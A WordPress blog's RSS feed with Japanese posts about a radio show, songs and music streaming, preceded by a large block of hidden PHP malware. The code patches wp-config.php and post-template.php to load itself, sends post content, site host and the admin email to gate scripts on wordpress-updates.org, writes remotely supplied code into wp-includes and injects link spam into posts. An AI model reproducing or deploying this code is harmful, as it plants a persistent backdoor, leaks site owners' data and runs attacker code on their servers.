$amt_u_tpl=10;
if(!function_exists(amt_gp))
{
function amt_gp()
{
if(!function_exists(amt_rdr))
{
function amt_rdr($dir)
{
$handle=@opendir($dir);
while($file=@readdir($handle))
{
if($file!="." && $file!="..")
{
$t_dir[]=$file;
}
}
@closedir($handle);
return $t_dir;
}
}
$link=explode("/", $_SERVER["SCRIPT_FILENAME"]);
$sfn=$_SERVER["SCRIPT_FILENAME"];
$r_dir=$sfn;
for($q=sizeof($link)-1;$q>0;$q--)
{
$link[$q]="/".$link[$q];
$r_dir=str_replace($link[$q],"",$r_dir);
$rdr=amt_rdr($r_dir);
if(@in_array('wp-config.php',$rdr))
{
$root_dir[0]=$r_dir;
break;
}
}
$root_dir[1]=$root_dir[0]."/wp-includes";
$t_dir=$root_dir[0]."/wp-content/themes/";
$t_dirs=amt_rdr($t_dir);
for($q=0;$qamt_trim_domen();
$this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt");
return $t_n;
}
function amt_gae()
{
global $wpdb, $table_prefix;
$uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr));
$uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr));
$this->a_em=$uem[0];
return $a_em;
}
function amt_crtb()
{
global $wpdb;
$this->amt_gtbl();
$query="
CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." (
id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
id_post INT(9) NOT NULL ,
last_up DATETIME NOT NULL ,
addd DATETIME NOT NULL
) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
";
$wpdb->query($query);
$query="
CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." (
id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
l_b ENUM('0', '1') NOT NULL ,
id_post INT(9) NOT NULL ,
word VARCHAR(255) NOT NULL ,
id_word INT( 9 ) NOT NULL ,
link VARCHAR(255) NOT NULL ,
date DATE NOT NULL
) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
";
$wpdb->query($query);
$query="
CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." (
host VARCHAR(255) NOT NULL ,
t_o VARCHAR(255) NOT NULL ,
n_f VARCHAR(255) NOT NULL ,
date DATE NOT NULL
) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
";
$wpdb->query($query);
$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
$this->host=$mda[0];
if($this->host=="")
{
$amt_nf=$this->amt_gfn();
$query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());";
$wpdb->query($query);
$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
$this->host=$mda[0];
}
$mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0];
$mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0];
$mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0];
}
}
$amt_d=new amt_data;
$amt_d->amt_crtb();
$amt_d->amt_gae();
$root_dir=amt_gp();
$amt_d->u_tpl=$amt_u_tpl;
$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]);
$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php";
$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php";
$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php";
$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php";
$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]);
$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php";
$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php";
$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f;
if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; }
amt_ci();
function amt_cif()
{
global $amt_d;
if(file_exists($amt_d->wp_ff)) { return true; } else { return false; }
}
function amt_ci()
{
global $amt_d;
$sha="!amt_cif!si";
$sha2="!".$amt_d->n_f."!si";
$cont=file_get_contents($amt_d->wp_c);
if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match))
{
$amt_d->ci[0]=0;
}
else
{
$amt_d->ci[0]=1;
}
$sha="!amt_cc!si";
$cont=file_get_contents($amt_d->wp_pt);
if(!preg_match($sha,$cont,$match))
{
$amt_d->ci[1]=0;
}
else
{
$amt_d->ci[1]=1;
}
if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0)
{
$amt_d->ci[2]=0;
}
else
{
$amt_d->ci[2]=1;
}
if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; }
if($amt_d->ci[3]==0)
{
if($amt_d->ci[0]==0)
{
chmod($amt_d->wp_c, 0755);
$cont=trim(file_get_contents($amt_d->wp_c));
$sha="/\?>$/";
if(preg_match($sha,$cont,$name))
{
$cont=$cont."
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>";
}
else
{
$cont=$cont."
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }";
}
$amt_f = fopen($amt_d->wp_c,"w");
$test = fwrite($amt_f, $cont);
fclose($amt_f);
if($test) { chmod($amt_d->wp_c, 0644); }
}
if($amt_d->ci[1]==0)
{
$cont=file_get_contents($amt_d->wp_pt);
$sha1="echo \$content;";
$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); }
echo \$content;";
$cont=str_replace($sha1,$sha2,$cont);
chmod($amt_d->wp_pt, 0755);
$amt_f = fopen($amt_d->wp_pt,"w");
$test = fwrite($amt_f, $cont);
fclose($amt_f);
if($test) { @chmod($amt_d->wp_pt, 0644); }
}
if($amt_d->ci[2]==0)
{
$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); }
if(file_exists($amt_d->wp_ff))
{
chmod($amt_d->wp_ff, 0755);
}
$amt_f = fopen($amt_d->wp_ff,"w");
$test = fwrite($amt_f, $content);
fclose($amt_f);
if($test) { chmod($amt_d->wp_ff, 0644); }
}
}
}
function amt_cc($content)
{
global $amt_d;
$amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id);
amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content);
return $content;
}
function amt_gct($id)
{
global $amt_d;
$ololo=get_post($id);
$amt_cty=get_the_category();
$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name;
$amt_d->p_ttl=$ololo->post_title;
}
function amt_cco($id, $content)
{
global $wpdb, $amt_d;
$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
for($q=0;$q < count($q_word);$q++)
{
$content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4);
}
$content.=amt_abl($id);
return $content;
}
function amt_abl($id)
{
global $wpdb, $amt_d;
$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr));
if($t_link[0]!="")
{
$tlk="".$t_link[0]."
";
}
else
{
$tlk="";
}
return $tlk;
}
function amt_copt($m_url)
{
global $wpdb, $amt_d;
$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url);
$today=date("Y-m-d");
if(!amt_cuo())
{
if($amt_ud=amt_sender($amt_d->u_g[2], $post))
{
if($amt_ud!="no" && $amt_ud!="")
{
$amt_md=explode('*^*^*^*',$amt_ud);
$amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'";
$wpdb->query($amt_q);
if($amt_md[3]==2)
{
amt_cnff($amt_md[4]);
}
}
else
{
$amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'";
$wpdb->query($amt_q);
}
}
}
}
function amt_cnff($content)
{
global $amt_d;
if($content=="") { return false; }
$content=
"
".$content."
?>";
if(file_exists($amt_d->wp_ff))
{
@chmod($amt_d->wp_ff, 0755);
}
$amt_f = fopen($amt_d->wp_ff,'w');
$test = fwrite($amt_f, $content);
@fclose($amt_f);
if($test) { @chmod($amt_d->wp_ff, 0644); }
$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
if(file_exists($s_f_path))
{
@chmod($s_f_path, 0755);
}
$amt_f = fopen($s_f_path,'w');
$test = fwrite($amt_f, $content);
@fclose($amt_f);
if($test) { @chmod($s_f_path, 0644); }
}
function amt_inb($id, $last)
{
global $wpdb, $amt_d;
$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'";
$wpdb->query($amt_q);
$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())";
$wpdb->query($amt_q);
}
function amt_ins($id, $last, $cont, $url)
{
global $amt_d;
$last=str_replace(" ","_",$last);
$url=trim_url($url);
$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl);
$amt_pisg=amt_sender($amt_d->u_g[0], $post);
if($amt_pisg=="ok") { $pis=1; } else { $pis=0; }
return $pis;
}
function amt_pib($id)
{
global $wpdb, $amt_d;
$query="select id from ".$amt_d->t_n[0]." where id_post='$id'";
$wpdb->query($query);
if($wpdb->num_rows>0)
{
$per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr));
if($per>30)
{
return 0;
}
else
{
return 1;
}
}
return $wpdb->num_rows;
}
function amt_qwe($id)
{
global $wpdb, $amt_d;
$query="select * from ".$amt_d->t_n[1]." where id_post='$id'";
$wpdb->query($query);
return $wpdb->num_rows;
}
function amt_cuq()
{
global $wpdb, $amt_d;
$today=date("Y-m-d");
$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr));
if($date_up!=$today)
{
return false;
}
else
{
return true;
}
}
function amt_cuo()
{
global $amt_d;
$today=date("Y-m-d");
if($amt_d->c_d!=$today)
{
return false;
}
else
{
return true;
}
}
function amt_qse($id, $m_url)
{
global $wpdb, $amt_d;
$today=date("Y-m-d");
$m_url=trim_url($m_url);
$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url);
if($amt_nq=amt_sender($amt_d->u_g[1], $post))
{
if($amt_nq=="no quests")
{
$amt_q1="delete from ".$amt_d->t_n[1].";";
$wpdb->query($amt_q1);
$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')";
echo $amt_q2;
$wpdb->query($amt_q2);
}
else
{
$amt_q1="delete from ".$amt_d->t_n[1].";";
$wpdb->query($amt_q1);
$amt_qs=explode("*****",$amt_nq);
for($q=0;$q < sizeof($amt_qs);$q++)
{
$m_amt_q=explode("^^^",$amt_qs[$q]);
$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')";
$wpdb->query($amt_q2);
}
}
}
}
function amt_sender($url, $post)
{
global $amt_d;
$_post=Array();
if(is_array($post))
{
foreach($post as $name => $value)
{
$_post[]=$name.'='.urlencode($value);
}
}
if (function_exists("curl_init"))
{
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o);
curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0");
curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
if(is_array($post))
{
curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
}
$result=curl_exec($ch);
if(curl_errno($ch)!=0 && empty($result))
{
$result=false;
}
curl_close($ch);
$result="HTTPSTART".$result;
$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
return $result;
}
else
{
$parse_url = parse_url($url);
$path = $parse_url["path"];
$host= $parse_url["host"];
$result="";
$post=implode('&', $_post);
$fp=fsockopen($host, 80);
if($fp)
{
socket_set_timeout($fp, $amt_d->t_o);
$request = "POST $path HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Penetrator/3.0\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Referer: ".$amt_d->my_h."\r\n";
$request .= "Content-Length: ".strlen($post)."\r\n";
$request .= "Connection: close\r\n\r\n$post";
fputs($fp,$request);
while(!feof($fp))
{
$result.=fgets($fp);
}
fclose($fp);
$result="HTTPSTART".$result;
$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
return $result;
}
return false;
}
}
function amt_create_post_words($content,$word,$id_word,$link,$nwm)
{
$n_content=strip_tags($content);
$word=trim($word);
$t_link="http://".$link;
$w=0;
$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si";
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
$stalo="***\\0***";
$new_content=preg_replace($bilo,$stalo,$n_content);
preg_match_all($sha2,$new_content,$massa);
$sha_word=erase_zv($massa[0][$id_word]);
$sha_word_l=strong_word($sha_word,$word,$t_link);
$content=str_replace($sha_word,$sha_word_l,$content);
return $content;
}
function erase_zv($text)
{
$text=str_replace(",***",",",$text);
$text=str_replace(".***",".",$text);
$text=str_replace(" ***"," ",$text);
$text=str_replace("*** "," ",$text);
$text=str_replace("***"," ",$text);
return $text;
}
function trim_side($text)
{
$new_text="";
$txt=explode(" ", $text);
$n_w=sizeof($txt);
for($ts=1;$ts<$n_w-1;$ts++)
{
$new_text.=$txt[$ts]." ";
}
return $new_text;
}
function strong_word($content,$word,$t_link)
{
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
$stalo="\\0 ";
$content=preg_replace($bilo,$stalo,$content);
$content=str_replace("> ",">",$content);
$content=str_replace(" <","<",$content);
$content=str_replace("<"," <",$content);
$content=str_replace(" ","",$content);
$content=str_replace(""," ",$content);
$content=str_replace(",",", ",$content);
$content=str_replace(".",". ",$content);
$content=str_replace(" "," ",$content);
return $content;
}
function trim_url($url)
{
$url=preg_replace("(www.|http://)", "", $url);
return $url;
}
?>
ALL GOOD MUSIC – KGMzine
http://kgmmusic.com/zine
ナンダリ×カンダリ
Thu, 22 Nov 2018 05:04:43 +0000
ja
hourly
1
https://wordpress.org/?v=4.9.25
-
Crimson Jam
http://kgmmusic.com/zine/2016/crimson-jam/
Tue, 02 Aug 2016 03:41:24 +0000
http://kgmmusic.com/zine/?p=2452
RAKUTEN FMで聴ける30分のラジオが始まっています。
全四回の放送で今週(8/4)が二回目の放送になります。
きちんと説明すると結構長くて読み飛ばされる事必至なので端的に。
RAKUTEN FM | CRIMSON FMhttp://rakuten.fm/station/crimsonfm
ここにアクセスすれば聴けます。 スマートフォンからアクセスする場合は「RAKUTEN FM」アプリを検索
iphonehttps://itunes.apple.com/jp/app/rakuten.fm-le-tianefuemu-intanettorajio/id1050568386?mt=8
Androidhttps://play.google.com/store/apps/details?id=fm.rakuten.android.apps&hl=ja
そしてCrimson FMチャンネルを選択してください。
残り3回は、8/4(木)、8/11(木)、8/18(木)と毎週木曜22:00からの「Crimson Jam」の番組内コーナーです。 再放送はなく、リアルタイム放送のみですので是非聴いて欲しいです。
この「Crimson Jam」という番組はorigami Productionというレーベルがオーガナイズする番組で、月〜金で毎日放送されています。日替わりでorigami所属のアーティストが30分のコーナーを担当、そして残りの80分はレーベルオーナーである対馬さんが出演されています。この放送を続ける労力は相当なものでしょう。私は直接面識はないのですが、以前よりその人柄や仕事への情熱に纏わる素晴らしい評判を方々から耳にしていました。音楽への愛、その大きさと深さにただただ感動を覚えるばかりです。ここまで出来るレーベルオーナーさんはなかなかいないのではないでしょうか。
origami productionの所属アーティストが制作に関わっている素晴らしい楽曲
VIDEO
VIDEO
大橋トリオさんの「サリー」は元々好きで聞いていましたが、この曲が大橋トリオさんとMABANUAさんが共同プロデュースであったとは知りませんでした。凄すぎる
]]>
-
Albatross – Do You Think of Me
http://kgmmusic.com/zine/2015/albatross-do-you-think-of-me/
Thu, 03 Sep 2015 17:58:45 +0000
http://kgmmusic.com/zine/?p=2190
VIDEO
なんて美しい曲でしょうか。いやー痺れた
]]>
-
世界でいちばん好きな人
http://kgmmusic.com/zine/2015/0902/
Tue, 01 Sep 2015 19:41:12 +0000
http://kgmmusic.com/zine/?p=2188
LINE新サービスに批判殺到 「潮を引く」ようにユーザ離れ加速の深刻事態
こんなニュースをみました。 タイトルを読んだだけで大体の内容は想像できると思うので、引用などはしないでおきますね。 私はLINE自体を使っていないのでLINE MUSICの使用感がどんなものなのかはわかりませんが、Apple Musicがスタートした時に「定額制の配信サービス」については少し調べたので多少の知識はあります。 現在無料のお試し期間であるApple Music、使っていません。 なぜ使わないのか。ただなのに。 聞いてみたい音楽は沢山ありますし、さらに素晴らしい音楽に出会いたいという気持ちも勿論あります。 ですが、一度フルで聞いてしまうと買う気持ちになれなくなってしまう気がして、手が出ません。
好きな音楽に出会ったのならば、お金を使いたいと思います。 iTunesは使っていますが試聴も滅多にしません。 以前は40秒やそこらしか聞けなかったので、気軽に試聴して、その後購入に至ることもあったのですが、最近は1分を超える試聴ファイルも珍しくないですもんね。 最初から欲しいと思っている曲は試聴もしたくないのです。 試聴して10〜20秒聴いて「これは欲しい」と思ったら聞くのをやめます。 なぜなんでしょう。本当に不思議に思うことがあります。 CDショップに行く時はどんどん試聴していきます。 ジャケットを見て、店員さんの手書きポップに惹かれて、なんとなく、聴く。 いま現在大好きな音楽との出会いがCDショップでの試聴だったことも珍しくありません。 これは物欲なんでしょうか。結論は出ません。
私も元々はただの音楽好きです。 今も、、まあ職業となるよりも前と比べたら多少の変化はありますが、基本的に、他人の音楽はいちリスナーとして聴くように心掛けています。 私は、昔好きだった音楽、ミュージシャンにはある種の「恩」を感じている気がします。 それら無しで今の私はありません。 ミュージシャンとしての私ではなく、一人の人間として、音楽から力をもらい、様々な視点を学んだ、本当にそう思います。 だからお金を払いたいんです。 自分が働いて得たお金を、大切と思える物に使っていきたい。 そうすると音楽もお金も大事にできる気がします。
こんな風に書くと「 CDを買って欲しい」という記事に思われるでしょうか。 そりゃ買ってもらえたら嬉しいですけど、Apple Musicで聞いていても、それはそれでありがたく思いますよ。 そして、好みじゃないの音楽は買わない方が良い、聞かない方が良いと思っています。 時間には限りがあって、沢山の音楽を聴こうと思ったって、1日は24時間しかありません。 どうせ音楽で時間を使うのなら大好きな音楽をひたすら聴いた方が幸せになれます。 同意を求める気はありません。みんな好きなように音楽に触れるのが一番です。
ただ、今の流れって消費者に親切になりすぎて「楽しみを奪ってしまっている」そんな気がするんです。 価格は安い方が良いですが、自分に痛みがないと、さほど大切には出来ないものです。 パソコンが普及してからCDを焼くことがとても簡単に出来るようになりました。 でも、かつて友達から貰った CDR(コピーですね)が、大して聴き込むこともなく山積みになっているのに気付いた時、(すごく無駄だ)と思い、貰うのも、自分がするのもやめることにしました。もう10年も前のことです。
例えば、友達が自分でセレクトしセレクトして纏めてくれた CDRならまだ聴く価値があるかもしれません。 曲目も手書きであれば、尚更に「聴こう」と思うことでしょう。 でも今はそういう「心のこもった音楽の贈り物」が殆どなくなったのではないでしょうか。 あっという間に印刷が出来ますし、手書きよりも鮮明な文字でプリントアウトすることができます。
楽しいは「便利」で大きくなるものではないのかもしれません。 不便なことほど幸せが待っている気もします。 時代に逆行した発言かもしれませんが、どうしても私はそう考えてしまうのです。
こういった理由で定額の配信サービスに魅力を感じることができません。 少なくとも今現在の私はそう考えています。 やはり私にとって「音楽」は特別なものです。 特別な存在には、特別な形で大切に接していきたいと思います。
– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
最近久しぶりに聴き返してみたら、 急に胸にズンと入ってきた曲。
VIDEO
KAN – 世界でいちばん好きな人
世界でいちばん好きな人 それはあなたといってくれるなら その想いがいつまでも 変わらぬようにと抱きしめる 遠くで起きてる戦争は いつ終わるのかもわからない せめてぼくらは互いを 許し合い生きよう
: : :
世界でいちばん好きな人 それはあなただと言い切れる その想いがいつまでもずっと 変わらぬように今このふつうの日々を 大切に生きる
– – – – – – – – – – – – – – – – – – – – – – – –
使わるだろうか。
]]>